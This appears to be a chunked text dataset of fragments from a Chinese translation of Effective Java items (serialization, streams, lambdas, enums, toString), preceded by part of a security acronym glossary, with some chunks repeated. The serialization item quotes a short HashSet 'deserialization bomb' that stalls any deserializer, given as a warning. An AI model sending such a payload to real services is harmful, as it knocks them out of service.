Vulnerability Database（全国漏洞数据库） OS Operating system（操作系统） OSF Open Software Foundation（开放软件基金会） PC Program counter（程序计数器） PE Portable executable（可移植可执行） PEB Process environment block（进程环境块） PID Process identifier（进程标识符） PLT Procedure linkage table（过程链接表） RAII Resource Acquisition Is Initialization（资源获取是初始化的） RAM Random access memory（随机存取内存） RDS Remote data services（远程数据服务） RFC Request for comments（请求注解） RGID Real group ID（实际的组ID） RHS Right-hand side（右侧） ROM Read-only memory（只读存储器） RPC Remote procedure call（远程过程调用） RTC Runtime checks（运行时检查） RTL Runtime linker（运行时链接器） RTTI Runtime type information（运行时类型信息） RUID Real user ID（真正的用户ID） SANS SysAdmin.Audit.Network.Security（Institute）（系统管理、审计、网络与安全研究院） SATE Static Analysis Tool Exposition（静态分析工具注释） SCADA Supervisory control and data acquisition（数据采集与监控系统） SCALe Source Code Analysis Laboratory（源代码分析实验室） SDK Software Development Kit（软件开发工具包） SDL Security Development Lifecycle（安全开发生命周期） SEH Structured exception handling（结构化异常处理） SEI Software Engineering Institute（软件工程研究院） SIMD Single instruction.multiple data（单指令、多数据） SMB Server Message Block（服务器消息块） SMP Symmetric multiprocessing（对称多处理器） SP Stack pointer（栈指针） SQL Structured Query Language（结构化查询语言） SQUARE System Quality Requirements Engineering（系统质量需求工程） SSCC Safe-Secure C/C++（有安全保证的C/C++） SSE Streaming SIMD Extensions（流SIMD扩展） SSGID Saved set-group-ID（保存的设置组ID） SSH Secure Shell（安全Shell） SSP Stack-Smashing Protector（栈溢出保护器） SSUID Saved set-user-ID（保存的设置用户ID） STL Standard template library（标准模板库） SVR4 AT&T/USL UNIX System V Release4（AT&T/USL UNIX System V第4版） TCP Transmission control protocol（传输控制协议） TEB Thread environment block（线程环境块） TIS Tool Interface Standards（Committee）（工具接口标准（委员会）） TOATTOU Time-of-audit-to-time-of-use（审计时间到使用时间） TOCTOU Time of check.time of use（检查时间、使用时间） TOCTTOU Time-of-check-to-time-of-use（检查时间到使用时间） TORTTOU Time-of-replacement-to-time-of-use（替换时间到使用时间） TR Technical report（技术报告） TSP Team Software Process（团队软件过程） TSP-Secure Team Software Process for Secure Software Development（用于安全开发的团队软件过程） UDF Universal Disk Format（通用磁盘格式） UDP User datagram protocol（用户数据报协议） UFS UNIX file system（UNIX文件系统） UID User identifier（用户标识符） UNC Universal naming convention（通用命名惯例） URL Uniform resource locator（统一资源定位器） USL UNIX System Laboratories（UNIX系统实验室） VEH Vectored exception handling（向量化异常处理） VLA Variable-length array（可变长度数组） VM Virtual memory or virtual machine（虚拟内存或虚拟机） VPN Virtual private network（虚拟专用网） VPTR Virtual pointer（虚拟指针） VTBL Virtual function table（虚函数表） XDR External data representation（外部数据表示） XML Extensible markup language（可扩展标记语言） XSI X/Open System Interface（X/Open系统接口） XSS Cross-site scripting（跨站脚本）"},
    {"text": "85. 优先选择 Java 序列化的替代方案.md 85. 优先选择 Java 序列化的替代方案.md 85. 优先选择 Java 序列化的替代方案 当序列化在 1997 年添加到 Java 中时，它被认为有一定的风险。"},
    {"text": "虽然程序员不费什么力气就能实现分布式对象，这一点很吸引人，但代价也不小，如：不可见的构造函数、API 与实现之间模糊的界线，还可能会出现正确性、性能、安全性和维护方面的问题。"},
    {"text": "21 世纪初仅停留在讨论的漏洞在接下来的 10 年间变成了真实严重的漏洞，其中最著名的包括 2016 年 11 月对旧金山大都会运输署市政铁路（SFMTA Muni）的勒索软件攻击，导致整个收费系统关闭了两天 [Gallagher16]。"},
    {"text": "引用 CERT 协调中心技术经理 Robert Seacord 的话： Java 反序列化是一个明显且真实的危险源，因为它被应用程序直接和间接地广泛使用，比如 RMI（远程方法调用）、JMX（Java 管理扩展）和 JMS（Java 消息传递系统）。"},
    {"text": "下面是 Wouter Coekaerts 的一个例子，它只使用哈希集和字符串 [Coekaerts15]： static byte [] bomb() { Set<Object> root = new HashSet<>(); Set<Object> s1 = root; Set<Object> s2 = new HashSet<>(); for ( int i = 0 ; i < 100 ; i++) { Set<Object> t1 = new HashSet<>(); Set<Object> t2 = new HashSet<>(); t1.add( \"foo\" ); // Make t1 unequal to t2 s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; } return serialize(root); // Method omitted for brevity } 对象图由 201 个 HashSet 实例组成，每个实例包含 3 个或更少的对象引用。"},
    {"text": "还有其他一些机制可以在对象和字节序列之间进行转换，从而避免了 Java 序列化的许多危险，同时还提供了许多优势，比如跨平台支持、高性能、大量工具和广泛的专家社区。"},
    {"text": "领先的跨平台结构化数据表示是 JSON 和 Protocol Buffers，也称为 protobuf。 JSON 由 Douglas Crockford 设计用于浏览器与服务器通信，Protocol Buffers 由谷歌设计用于在其服务器之间存储和交换结构化数据。"},
    {"text": "JSON 和 protobuf 之间最显著的区别是 JSON 是基于文本的，并且是人类可读的，而 protobuf 是二进制的，但效率更高； JSON 是一种专门的数据表示，而 protobuf 提供模式（类型）来记录和执行适当的用法。 虽然 protobuf 比 JSON 更有效，但是 JSON 对于基于文本的表示非常有效。 虽然 protobuf 是一种二进制表示，但它确实提供了另一种文本表示，可用于需要具备人类可读性的场景（pbtxt）。"},
    {"text": "[Java-secure] 如果无法避免序列化，并且不能绝对确定反序列化数据的安全性，那么可以使用 Java 9 中添加的对象反序列化筛选，并将其移植到早期版本（java.io.ObjectInputFilter）。"},
    {"text": "54. 返回空的数组或集合，不要返回 null.md 54. 返回空的数组或集合，不要返回 null.md 54. 返回空的数组或集合，不要返回 null 像如下的方法并不罕见： // Returns null to indicate an empty collection. Don't do this! private final List<Cheese> cheesesInStock = ...; /** * @return a list containing all of the cheeses in the shop, * or null if no cheeses are available for purchase. */ public List<Cheese> getCheeses () { return cheesesInStock.isEmpty() ? null : new ArrayList<>(cheesesInStock); } 没有理由对没有奶酪 (Cheese) 可供购买的情况进行特殊处理。这样需要在客户端做额外的代码处理可能为 null 的返回值，例如: List<Cheese> cheeses = shop.getCheeses(); if (cheeses != null && cheeses.contains(Cheese.STILTON)) System.out.println( \"Jolly good, just the thing.\" ); 在几乎每次使用返回 null 来代替空集合或数组的方法时，都需要使用这种迂回的方式。 它容易出错，因为编写客户端的程序员可能忘记编写特殊情况代码来处理 null 返回。 多年来这种错误可能会被忽视，因为这种方法通常会返回一个或多个对象。 此外，返回 null 代替空容器会使返回容器的方法的实现变得复杂。 有时有人认为，null 返回值比空集合或数组更可取，因为它避免了分配空容器的开销。这个论点有两点是不成立的。首先，除非测量结果表明所讨论的分配是性能问题的真正原因，否则不宜担心此级别的性能（详见第 67 条）。第二，可以在不分配空集合和数组的情况下返回它们。下面是返回可能为空的集合的典型代码。通常，这就是你所需要的: //The right way to return a possibly empty collection public List<Cheese> getCheeses () { return new ArrayList<>(cheesesInStock); } 如果有证据表明分配空集合会损害性能，可以通过重复返回相同的不可变空集合来避免分配，因为不可变对象可以自由共享 (条目 17)。下面的代码就是这样做的，使用了 Collections.emptyList 方法。如果你要返回一个 Set，可以使用 Collections.emptySet ；如果要返回 Map，则使用 Collections.emptyMap 。但是请记住，这是一个优化，很少需要它。如果你认为你需要它，测量一下前后的性能表现，确保它确实有帮助： // Optimization - avoids allocating empty collections public List<Cheese> getCheeses () { return cheesesInStock.isEmpty() ? Collections.emptyList() : new ArrayList<>(cheesesInStock); } 数组的情况与集合的情况相同。 永远不要返回 null，而是返回长度为零的数组。 通常，应该只返回一个正确长度的数组，这个长度可能为零。 请注意，我们将一个长度为零的数组传递给 toArray 方法，以指示所需的返回类型，即 Cheese [] ： //The right way to return a possibly empty array public Cheese[] getCheeses() { return cheesesInStock.toArray( new Cheese[ 0 ]); } 如果你认为分配零长度数组会损害性能，则可以重复返回相同的零长度数组，因为所有零长度数组都是不可变的： // Optimization - avoids allocating empty arrays private static final Cheese[] EMPTY_CHEESE_ARRAY = new Cheese[ 0 ]; public Cheese[] getCheeses() { return cheesesInStock.toArray(EMPTY_CHEESE_ARRAY); } 在优化的版本中，我们将相同的空数组传递到每个 toArray 调用中，当 cheesesInStock 为空时，这个数组将从 getCheeses 返回。不要为了提高性能而预先分配传递给 toArray 的数组。研究表明，这样做会适得其反[Shipilev16]: // Don’t do this - preallocating the array harms performance! return cheesesInStock.toArray( new Cheese[cheesesInStock.size()]); 总之， 永远不要返回 null 来代替空数组或集合 。它使你的 API 更难以使用，更容易出错，并且没有性能优势。"},
    {"text": "45. 明智审慎地使用Stream.md 45. 明智审慎地使用Stream.md 45. 明智审慎地使用 Stream 在 Java 8 中添加了 Stream API，以简化顺序或并行执行批量操作的任务。"},
    {"text": "每个中间操作都以某种方式转换流，例如将每个元素映射到该元素的函数或过滤掉所有不满足某些条件的元素。 中间操作都将一个流转换为另一个流，其元素类型可能与输入流相同或不同。"},
    {"text": "map 对象的键是按照字母排序的单词，因此『staple』的键是『aelpst』，『petals』的键也是『aelpst』：这两个单词就是同位词，所有的同位词共享相同的依字母顺序排列的形式（或称之为 alphagram）。"},
    {"text": "每个中间操作都以某种方式转换流，例如将每个元素映射到该元素的函数或过滤掉所有不满足某些条件的元素。 中间操作都将一个流转换为另一个流，其元素类型可能与输入流相同或不同。"},
    {"text": "map 对象的键是按照字母排序的单词，因此『staple』的键是『aelpst』，『petals』的键也是『aelpst』：这两个单词就是同位词，所有的同位词共享相同的依字母顺序排列的形式（或称之为 alphagram）。"},
    {"text": "然后程序遍历 map 对象的 values() 的视图并打印每个大小符合阈值的列表： // Prints all large anagram groups in a dictionary iteratively public class Anagrams { public static void main (String[] args) throws IOException { File dictionary = new File(args[ 0 ]); int minGroupSize = Integer.parseInt(args[ 1 ]); Map<String, Set<String>> groups = new HashMap<>(); try (Scanner s = new Scanner(dictionary)) { while (s.hasNext()) { String word = s.next(); groups.computeIfAbsent(alphabetize(word), (unused) -> new TreeSet<>()).add(word); } } for (Set<String> group : groups.values()) if (group.size() >= minGroupSize) System.out.println(group.size() + \": \" + group); } private static String alphabetize (String s) { char [] a = s.toCharArray(); Arrays.sort(a); return new String(a); } } 这个程序中的一个步骤值得注意。"},
    {"text": "在单独的表达式中打开字典文件的唯一原因是允许使用 try-with-resources 语句，该语句确保关闭字典文件： // Overuse of streams - don't do this! public class Anagrams { public static void main (String[] args) throws IOException { Path dictionary = Paths.get(args[ 0 ]); int minGroupSize = Integer.parseInt(args[ 1 ]); try (Stream<String> words = Files.lines(dictionary)) { words.collect( groupingBy(word -> word.chars().sorted() .collect(StringBuilder:: new , (sb, c) -> sb.append(( char ) c), StringBuilder::append).toString())) .values().stream() .filter(group -> group.size() >= minGroupSize) .map(group -> group.size() + \": \" + group) .forEach(System.out::println); } } } 如果你发现这段代码难以阅读，不要担心；"},
    {"text": "其结果是一个比原来更短更清晰的程序： // Tasteful use of streams enhances clarity and conciseness public class Anagrams { public static void main (String[] args) throws IOException { Path dictionary = Paths.get(args[ 0 ]); int minGroupSize = Integer.parseInt(args[ 1 ]); try (Stream<String> words = Files.lines(dictionary)) { words.collect(groupingBy(word -> alphabetize(word))) .values().stream() .filter(group -> group.size() >= minGroupSize) .forEach(g -> System.out.println(g.size() + \": \" + g)); } } // alphabetize method is the same as in original version } 即使以前很少接触流，这个程序也不难理解。"},
    {"text": "要演示使用流处理 char 值的危害，请考虑以下代码： \"Hello world!\" .chars().forEach(System.out::print); 你可能希望它打印 Hello world! ，但如果运行它，发现它打印 721011081081113211911111410810033。 这是因为 “Hello world!”.chars() 返回的流的元素不是 char 值，而是 int 值，因此调用了 print 的 int 重载。"},
    {"text": "从代码块中可以做一些从函数对象中不能做的事情: 从代码块中，可以读取或修改范围内的任何局部变量; 从 lambda 中，只能读取最终或有效的最终变量[JLS 4.12.4]，并且无法修改任何局部变量。"},
    {"text": "相反，流可以很容易地做一些事情： 统一转换元素序列 过滤元素序列 使用单个操作组合元素序列 (例如添加、连接或计算最小值) 将元素序列累积到一个集合中，可能通过一些公共属性将它们分组 在元素序列中搜索满足某些条件的元素 如果使用这些技术最好地表达计算，那么使用流是这些场景很好的候选者。"},
    {"text": "一种解决方案是将每个值映射到一个包含原始值和新值的 pair 对象，但这不是一个令人满意的解决方案，尤其是在管道的多个阶段需要一对对象时更是如此。"},
    {"text": "我们假设使用静态导入来轻松访问 BigInteger 的静态成员： static Stream<BigInteger> primes () { return Stream.iterate(TWO, BigInteger::nextProbablePrime); } 方法的名称（primes）是一个复数名词，描述了流的元素。"},
    {"text": "这是打印前 20 个梅森素数的程序： public static void main (String[] args) { primes().map(p -> TWO.pow(p.intValueExact()).subtract(ONE)) .filter(mersenne -> mersenne.isProbablePrime( 50 )) .limit( 20 ) .forEach(System.out::println); } 这个程序是上面的梅森描述的直接编码：它从素数开始，计算相应的梅森数，过滤掉除素数之外的所有数字（幻数 50 控制概率素性测试 the magic number 50 controls the probabilistic primality test），将得到的流限制为 20 个元素， 并打印出来。"},
    {"text": "指数是二进制表示中的位数，因此该终结操作会生成所需的结果： .forEach(mp -> System.out.println(mp.bitLength() + \": \" + mp)); 有很多任务不清楚是使用流还是迭代。"},
    {"text": "下面是一个迭代实现，它有一个嵌套的 for-each 循环，你应该非常熟悉: // Iterative Cartesian product computation private static List<Card> newDeck () { List<Card> result = new ArrayList<>(); for (Suit suit : Suit.values()) for (Rank rank : Rank.values()) result.add( new Card(suit, rank)); return result; } 下面是一个基于流的实现，它使用了中间操作 flatMap 方法。"},
    {"text": "注意，这个实现包含一个嵌套的 lambda 表达式 （rank -> new Card(suit, rank)) : // Stream-based Cartesian product computation private static List<Card> newDeck () { return Stream.of(Suit.values()) .flatMap(suit -> Stream.of(Rank.values()) .map(rank -> new Card(suit, rank))) .collect(toList()); } newDeck 的两个版本中哪一个更好？"},
    {"text": "64. 通过接口引用对象.md 64. 通过接口引用对象.md 64. 通过接口引用对象 条目 51 指出，应该使用接口而不是类作为参数类型。更一般地说，你应该优先使用接口而不是类来引用对象。 如果存在合适的接口类型，那么应该使用接口类型声明参数、返回值、变量和字段。 惟一真正需要引用对象的类的时候是使用构造函数创建它的时候。为了具体说明这一点，考虑 LinkedHashSet 的情况，它是 Set 接口的一个实现。声明时应养成这样的习惯： // Good - uses interface as type Set<Son> sonSet = new LinkedHashSet<>(); 而不是这样： // Bad - uses class as type! LinkedHashSet<Son> sonSet = new LinkedHashSet<>(); 如果你养成了使用接口作为类型的习惯，那么你的程序将更加灵活。 如果你决定要切换实现，只需在构造函数中更改类名（或使用不同的静态工厂）。例如，第一个声明可以改为： Set<Son> sonSet = new HashSet<>(); 所有的代码都会继续工作。周围的代码不知道旧的实现类型，所以它不会在意更改。 有一点值得注意：如果原实现提供了接口的通用约定不需要的一些特殊功能，并且代码依赖于该功能，那么新实现提供相同的功能就非常重要。例如，如果围绕第一个声明的代码依赖于 LinkedHashSet 的排序策略，那么在声明中将 HashSet 替换为 LinkedHashSet 将是不正确的，因为 HashSet 不保证迭代顺序。 那么，为什么要更改实现类型呢？因为第二个实现比原来的实现提供了更好的性能，或者因为它提供了原来的实现所缺乏的理想功能。例如，假设一个字段包含一个 HashMap 实例。将其更改为 EnumMap 将为迭代提供更好的性能和与键的自然顺序，但是你只能在键类型为 enum 类型的情况下使用 EnumMap。将 HashMap 更改为 LinkedHashMap 将提供可预测的迭代顺序，性能与 HashMap 相当，而不需要对键类型作出任何特殊要求。 你可能认为使用变量的实现类型声明变量是可以的，因为你可以同时更改声明类型和实现类型，但是不能保证这种更改会正确编译程序。如果客户端代码对原实现类型使用了替换时不存在的方法，或者客户端代码将实例传递给需要原实现类型的方法，那么在进行此更改之后，代码将不再编译。使用接口类型声明变量可以保持一致。 如果没有合适的接口存在，那么用类引用对象是完全合适的。 例如，考虑值类，如 String 和 BigInteger。值类很少在编写时考虑到多个实现。它们通常是 final 的，很少有相应的接口。使用这样的值类作为参数、变量、字段或返回类型非常合适。 没有合适接口类型的第二种情况是属于框架的对象，框架的基本类型是类而不是接口。如果一个对象属于这样一个基于类的框架，那么最好使用相关的基类来引用它，这通常是抽象的，而不是使用它的实现类。在 java.io 类中许多诸如 OutputStream 之类的就属于这种情况。 没有合适接口类型的最后一种情况是，实现接口但同时提供接口中不存在的额外方法的类，例如，PriorityQueue 有一个在 Queue 接口上不存在的比较器方法。只有当程序依赖于额外的方法时，才应该使用这样的类来引用它的实例，这种情况应该非常少见。 这三种情况并不是面面俱到的，而仅仅是为了传达适合通过类引用对象的情况。在实际应用中，给定对象是否具有适当的接口应该是显而易见的。如果是这样，如果使用接口引用对象，程序将更加灵活和流行。 如果没有合适的接口，就使用类层次结构中提供所需功能的最底层的类"},
    {"text": "12. 始终重写 toString 方法.md 12. 始终重写 toString 方法.md 12. 始终重写 toString 方法 虽然 Object 类提供了 toString 方法的实现，但它返回的字符串通常不是你的类的用户想要看到的。"},
    {"text": "虽然它并不像遵守 equals 和 hashCode 约定那样重要 (条目 10 和 11)，但是提供一个良好的 toString 实现使你的类更易于使用，并对使用此类的系统更易于调试。"},
    {"text": "如果为 PhoneNumber 提供了一个很好的 toString 方法，那么生成一个有用的诊断消息就像下面这样简单： System.out.println( \"Failed to connect to \" + phoneNumber); 程序员将以这种方式生成诊断消息，不管你是否重写 toString，但是除非你这样做，否则这些消息将不会有用。"},
    {"text": "打印 map 对象时你会看到哪一个， {Jenny=PhoneNumber@163b91} 还是 {Jenny=707-867-5309} ? 实际上，toString 方法应该返回对象中包含的所有需要关注的信息，如电话号码示例中所示。"},
    {"text": "如果未能将所有对象的值得关注的信息包含在字符串表示中，则会导致一个特别烦人的处罚：测试失败报告如下所示： Assertion failure: expected {abc, 123 }, but was {abc, 123 }. 实现 toString 方法时，必须做出的一个重要决定是：在文档中指定返回值的格式。"},
    {"text": "例如，这里有一个 toString 方法，该方法在条目 11 中使用 PhoneNumber 类： /** * Returns the string representation of this phone number. * The string consists of twelve characters whose format is * \"XXX-YYY-ZZZZ\", where XXX is the area code, YYY is the * prefix, and ZZZZ is the line number. Each of the capital * letters represents a single decimal digit. * * If any of the three parts of this phone number is too small * to fill up its field, the field is padded with leading zeros. * For example, if the value of the line number is 123, the last * four characters of the string representation will be \"0123\". */ @Override public String toString () { return String.format( \"%03d-%03d-%04d\" , areaCode, prefix, lineNum); } 如果你决定不指定格式，那么文档注释应该是这样的： /** * Returns a brief description of this potion. The exact details * of the representation are unspecified and subject to change, * but the following may be regarded as typical: * * \"[Potion #9: type=love, smell=turpentine, look=india ink]\" */ @Override public String toString () { ... } 在阅读了这条注释之后，那些生成依赖于格式细节的代码或持久化数据的程序员，在这种格式发生改变的时候，只能怪他们自己。"},
    {"text": "因此，例如，为我们的 PhoneNumber 类使用自动生成的 toString 方法是不合适的（因为电话号码具有标准的字符串表示形式），但是对于我们的 Potion 类来说，这是完全可以接受的。"},
    {"text": "46. 优先考虑流中无副作用的函数.md 46. 优先考虑流中无副作用的函数.md 46. 优先考虑流中无副作用的函数 如果你是一个刚开始使用流的新手，那么很难掌握它们。"},
    {"text": "流不仅仅是一个 API，它是基于函数式编程的范式（paradigm）。 为了获得流提供的可表达性、速度和某些情况下的并行性，你必须采用范式和 API。"},
    {"text": "有时，可能会看到类似于此代码片段的流代码，该代码构建了文本文件中单词的频率表: // Uses the streams API but not the paradigm--Don't do this! Map<String, Long> freq = new HashMap<>(); try (Stream<String> words = new Scanner(file).tokens()) { words.forEach(word -> { freq.merge(word.toLowerCase(), 1L , Long::sum); }); } 这段代码出了什么问题？"},
    {"text": "那么这段代码应该是什么样的呢? // Proper use of streams to initialize a frequency table Map<String, Long> freq; try (Stream<String> words = new Scanner(file).tokens()) { freq = words .collect(groupingBy(String::toLowerCase, counting())); } 此代码段与前一代码相同，但正确使用了流 API。"},
    {"text": "// Pipeline to get a top-ten list of words from a frequency table List<String> topTen = freq.keySet().stream() .sorted(comparing(freq::get).reversed()) .limit( 10 ) .collect(toList()); 注意，我们没有对 toList 方法的类收集器进行限定。"},
    {"text": "该函数接受一个单词，而“提取”实际上是一个表查找：绑定方法引用 freq::get 在 frequency 表中查找单词，并返回单词出现在文件中的次数。"},
    {"text": "最简单的映射收集器是 toMap(keyMapper、valueMapper)，它接受两个函数，一个将流元素映射到键，另一个映射到值。 在条目 34 中的 fromString 实现中，我们使用这个收集器从 enum 的字符串形式映射到 enum 本身: // Using a toMap collector to make a map from string to enum private static final Map<String, Operation> stringToEnum = Stream.of(values()).collect( toMap(Object::toString, e -> e)); 如果流中的每个元素都映射到唯一键，则这种简单的 toMap 形式是完美的。"},
    {"text": "一种方法是向 toMap 方法提供除键和值映射器 (mappers) 之外的 merge 方法。 merge 方法是一个 BinaryOperator<V> ，其中 V是 map 的值类型。 与键关联的任何附加值都使用 merge 方法与现有值相结合，因此，例如，如果 merge 方法是乘法，那么最终得到的结果是是值 mapper 与键关联的所有值的乘积。"},
    {"text": "// Collector to generate a map from key to chosen element for key Map<Artist, Album> topHits = albums.collect( toMap(Album::artist, a->a, maxBy(comparing(Album::sales)))); 请注意，比较器使用静态工厂方法 maxBy ，它是从 BinaryOperator 静态导入的。"},
    {"text": "对于许多流，结果是不确定的，但如果映射函数可能与键关联的所有值都相同，或者它们都是可接受的，则此收集器的行为可能正是您想要的： // Collector to impose last-write-wins policy toMap(keyMapper, valueMapper, (oldVal, newVal) ->newVal) toMap 的第三个也是最后一个版本采用第四个参数，它是一个 map 工厂，用于指定特定的 map 实现，例如 EnumMap 或 TreeMap 。"},
    {"text": "这是我们在条目 45 中的 Anagram 程序中使用的收集器，用于生成从按字母顺序排列的单词到单词列表的 map： Map<String, Long> freq = words .collect(groupingBy(String::toLowerCase, counting())); groupingBy 的第三个版本允许指定除 downstream 收集器之外的 map 工厂。"},
    {"text": "42. lambda表达式优于匿名类.md 42. lambda表达式优于匿名类.md 42. lambda 表达式优于匿名类 在 Java 8 中，添加了函数式接口， lambda 表达式和方法引用，以便更容易地创建函数对象。"},
    {"text": "下面是一段代码片段，按照字符串长度顺序对列表进行排序，使用匿名类创建排序的比较方法（强制排序顺序）： // Anonymous class instance as a function object - obsolete! Collections.sort(words, new Comparator<String>() { public int compare (String s1, String s2) { return Integer.compare(s1.length(), s2.length()); } }); 匿名类适用于需要函数对象的经典面向对象设计模式，特别是策略模式[Gamma95]。 比较器接口表示排序的抽象策略; 上面的匿名类是排序字符串的具体策略。"},
    {"text": "样板不见了，行为清晰明了： // Lambda expression as function object (replaces anonymous class) Collections.sort(words, (s1, s2) -> Integer.compare(s1.length(), s2.length())); 请注意，代码中不存在 lambda （ Comparator <String> ），其参数（s1 和 s2，都是 String 类型）及其返回值（int）的类型。"},
    {"text": "当使用 lambda 表达式时，这个建议是非常重要的，因为编译器获得了大部分允许它从泛型进行类型推断的类型信息。 如果你没有提供这些信息，编译器将无法进行类型推断，你必须在 lambdas 中手动指定类型，这将大大增加它们的冗余度。"},
    {"text": "顺便提一句，如果使用比较器构造方法代替 lambda ，则代码中的比较器可以变得更加简洁（条目 14，43）： Collections.sort(words, comparingInt(String::length)); 实际上，通过利用添加到 Java 8 中的 List 接口的 sort 方法，可以使片段变得更简短： words.sort(comparingInt(String::length)); 将 lambdas 添加到该语言中，使得使用函数对象在以前没有意义的地方非常实用。"},
    {"text": "由于每个枚举都需要不同的应用程序行为，所以我们使用了特定于常量的类主体，并在每个枚举常量中重写了 apply 方法。 为了刷新你的记忆，下面是之前的代码： // Enum type with constant-specific class bodies & data public enum Operation { PLUS( \"+\" ) { public double apply ( double x, double y) { return x + y; } }, MINUS( \"-\" ) { public double apply ( double x, double y) { return x - y; } }, TIMES( \"*\" ) { public double apply ( double x, double y) { return x * y; } }, DIVIDE( \"/\" ) { public double apply ( double x, double y) { return x / y; } }; private final String symbol; Operation(String symbol) { this .symbol = symbol; } @Override public String toString () { return symbol; } public abstract double apply ( double x, double y) ; } 第 34 条目说，枚举实例属性比常量特定的类主体更可取。"},
    {"text": "由此产生的代码比原始版本更简单，更清晰： public enum Operation { PLUS ( \"+\" , (x, y) -> x + y), MINUS ( \"-\" , (x, y) -> x - y), TIMES ( \"*\" , (x, y) -> x * y), DIVIDE( \"/\" , (x, y) -> x / y); private final String symbol; private final DoubleBinaryOperator op; Operation(String symbol, DoubleBinaryOperator op) { this .symbol = symbol; this .op = op; } @Override public String toString () { return symbol; } public double apply ( double x, double y) { return op.applyAsDouble(x, y); } } 请注意，我们使用表示枚举常量行为的 lambdas 的 DoubleBinaryOperator 接口。"},
    {"text": "如果枚举类型具有难以理解的常量特定行为，无法在几行内实现，或者需要访问实例属性或方法，那么常量特定的类主体仍然是行之有效的方法。"},
    {"text": "如果你想创建一个抽象类的实例，你可以使用匿名类来实现，但不能使用 lambda 。 同样，你可以使用匿名类来创建具有多个抽象方法的接口实例。"},
    {"text": "38. 使用接口模拟可扩展的枚举.md 38. 使用接口模拟可扩展的枚举.md 38. 使用接口模拟可扩展的枚举 在几乎所有方面，枚举类型都优于本书第一版中描述的类型安全模式[Bloch01]。"},
    {"text": "从表面上看，一个例外涉及可扩展性，这在原始模式下是可能的，但不受语言结构支持。 换句话说，使用该模式，有可能使一个枚举类型扩展为另一个; 使用语言功能特性，它不能这样做。"},
    {"text": "也就是说，对于可扩展枚举类型至少有一个有说服力的用例，这就是操作码（operation codes），也称为 opcodes。 操作码是枚举类型，其元素表示某些机器上的操作，例如条目 34 中的 Operation 类型，它表示简单计算器上的功能。"},
    {"text": "例如，这里是来自条目 34 的 Operation 类型的可扩展版本： // Emulated extensible enum using an interface public interface Operation { double apply ( double x, double y) ; } public enum BasicOperation implements Operation { PLUS( \"+\" ) { public double apply ( double x, double y) { return x + y; } }, MINUS( \"-\" ) { public double apply ( double x, double y) { return x - y; } }, TIMES( \"*\" ) { public double apply ( double x, double y) { return x * y; } }, DIVIDE( \"/\" ) { public double apply ( double x, double y) { return x / y; } }; private final String symbol; BasicOperation(String symbol) { this .symbol = symbol; } @Override public String toString () { return symbol; } } 虽然枚举类型（ BasicOperation ）不可扩展，但接口类型（ Operation ）是可以扩展的，并且它是用于表示 API 中的操作的接口类型。"},
    {"text": "你所要做的就是编写一个实现 Operation 接口的枚举类型： // Emulated extension enum public enum ExtendedOperation implements Operation { EXP( \"^\" ) { public double apply ( double x, double y) { return Math.pow(x, y); } }, REMAINDER( \"%\" ) { public double apply ( double x, double y) { return x % y; } }; private final String symbol; ExtendedOperation(String symbol) { this .symbol = symbol; } @Override public String toString () { return symbol; } } 只要 API 编写为接口类型（ Operation ），而不是实现（ BasicOperation ），现在就可以在任何可以使用基本操作的地方使用新操作。"},
    {"text": "例如，这里是第 163 页上的一个测试程序版本，它执行之前定义的所有扩展操作： public static void main (String[] args) { double x = Double.parseDouble(args[ 0 ]); double y = Double.parseDouble(args[ 1 ]); test(ExtendedOperation.class, x, y); } private static <T extends Enum<T> & Operation> void test ( Class<T> opEnumType, double x, double y) { for (Operation op : opEnumType.getEnumConstants()) System.out.printf( \"%f %s %f = %f%n\" , x, op, y, op.apply(x, y)); } 注意，扩展的操作类型的类字面文字（ ExtendedOperation .class）从 main 方法里传递给了 test 方法，用来描述扩展操作的集合。"},
    {"text": "opEnumType 参数中复杂的声明 （<T extends Enum<T> & Operation> Class<T> ）确保了 Class 对象既是枚举又是 Operation 的子类，这正是遍历元素和执行每个元素相关联的操作时所需要的。"},
    {"text": "第二种方式是传递一个 Collection<? extends Operation> ，这是一个限定通配符类型（条目 31），而不是传递了一个 class 对象： public static void main (String[] args) { double x = Double.parseDouble(args[ 0 ]); double y = Double.parseDouble(args[ 1 ]); test(Arrays.asList(ExtendedOperation.values()), x, y); } private static void test (Collection<? extends Operation> opSet, double x, double y) { for (Operation op : opSet) System.out.printf( \"%f %s %f = %f%n\" , x, op, y, op.apply(x, y)); } 生成的代码稍微不那么复杂， test 方法灵活一点：它允许调用者将多个实现类型的操作组合在一起。"},
    {"text": "上面的两个程序在运行命令行输入参数 4 和 2 时生成以下输出： 4.000000 ^ 2.000000 = 16.000000 4.000000 % 2.000000 = 0.000000 使用接口来模拟可扩展枚举的一个小缺点是，实现不能从一个枚举类型继承到另一个枚举类型。"},
    {"text": "这允许客户端编写自己的枚举（或其它类型）来实现接口。 如果 API 是根据接口编写的，那么在任何使用基本枚举类型实例的地方，都可以使用这些枚举类型实例。"},
    {"text": "21. 为后代设计接口.md 21. 为后代设计接口.md 21. 为后代设计接口 在 Java 8 之前，不可能在不破坏现有实现的情况下为接口添加方法。 如果向接口添加了一个新方法，现有的实现通常会缺少该方法，从而导致编译时错误。 在 Java 8 中，添加了默认方法（default method）构造[JLS 9.4]，目的是允许将方法添加到现有的接口。 但是增加新的方法到现有的接口是充满风险的。 默认方法的声明包含一个默认实现，该方法允许实现接口的类直接使用，而不必实现默认方法。 虽然在 Java 中添加默认方法可以将方法添加到现有接口，但不能保证这些方法可以在所有已有的实现中使用。 默认的方法被“注入（injected）”到现有的实现中，没有经过实现类的知道或同意。 在 Java 8 之前，这些实现是用默认的接口编写的，它们的接口永远不会获得任何新的方法。 许多新的默认方法被添加到 Java 8 的核心集合接口中，主要是为了方便使用 lambda 表达式（第 6 章）。 Java 类库的默认方法是高质量的通用实现，在大多数情况下，它们工作正常。 但是，编写一个默认方法并不总是可能的，它保留了每个可能的实现的所有不变量。 例如，考虑在 Java 8 中添加到 Collection 接口的 removeIf 方法。此方法删除给定布尔方法（或 Predicate 函数式接口）返回 true 的所有元素。默认实现被指定为使用迭代器遍历集合，调用每个元素的谓词，并使用迭代器的 remove 方法删除谓词返回 true 的元素。 据推测，这个声明看起来像这样：默认实现被指定为使用迭代器遍历集合，调用每个元素的 Predicate 函数式接口，并使用迭代器的 remove 方法删除 Predicate 函数式接口返回 true 的元素。 根据推测，这个声明看起来像这样： // Default method added to the Collection interface in Java 8 default boolean removeIf (Predicate<? super E> filter) { Objects.requireNonNull(filter); boolean result = false ; for (Iterator<E> it = iterator(); it.hasNext(); ) { if 